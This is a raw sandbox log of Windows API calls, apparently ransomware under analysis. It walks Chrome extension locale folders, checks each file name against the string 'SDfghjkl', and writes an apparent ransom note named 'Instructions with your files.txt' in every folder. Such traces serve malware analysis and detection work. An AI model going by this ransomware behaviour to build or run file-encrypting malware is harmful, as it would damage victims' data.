[0129.161] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 156
[0129.161] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.161] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.161] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\Instructions with your files.txt") returned 175
[0129.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.161] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.162] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.162] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.162] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.162] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.163] CloseHandle (hObject=0x134) returned 1
[0129.163] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.163] GetProcessHeap () returned 0x810000
[0129.163] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.163] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.163] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned 142
[0129.163] GetProcessHeap () returned 0x810000
[0129.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.163] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*") returned 144
[0129.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.164] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\.") returned 144
[0129.164] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.164] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\..") returned 145
[0129.164] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.164] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json") returned 156
[0129.164] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.164] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.164] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\Instructions with your files.txt") returned 175
[0129.164] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.164] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.165] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.165] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.165] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.165] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.166] CloseHandle (hObject=0x134) returned 1
[0129.166] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.166] GetProcessHeap () returned 0x810000
[0129.166] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.166] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.166] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned 142
[0129.166] GetProcessHeap () returned 0x810000
[0129.166] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.166] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*") returned 144
[0129.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.166] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\.") returned 144
[0129.166] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.166] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\..") returned 145
[0129.166] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.166] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json") returned 156
[0129.166] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.166] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.166] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\Instructions with your files.txt") returned 175
[0129.166] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.167] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.168] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.168] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.168] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.168] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.168] CloseHandle (hObject=0x134) returned 1
[0129.168] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.168] GetProcessHeap () returned 0x810000
[0129.168] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.168] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0129.168] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned 142
[0129.168] GetProcessHeap () returned 0x810000
[0129.168] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.169] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*") returned 144
[0129.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.169] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\.") returned 144
[0129.169] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.170] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\..") returned 145
[0129.170] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.170] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json") returned 156
[0129.170] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.170] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.170] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\Instructions with your files.txt") returned 175
[0129.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.170] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.171] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.171] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.171] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.171] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.171] CloseHandle (hObject=0x134) returned 1
[0129.171] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.172] GetProcessHeap () returned 0x810000
[0129.172] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.172] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.172] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned 142
[0129.172] GetProcessHeap () returned 0x810000
[0129.172] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
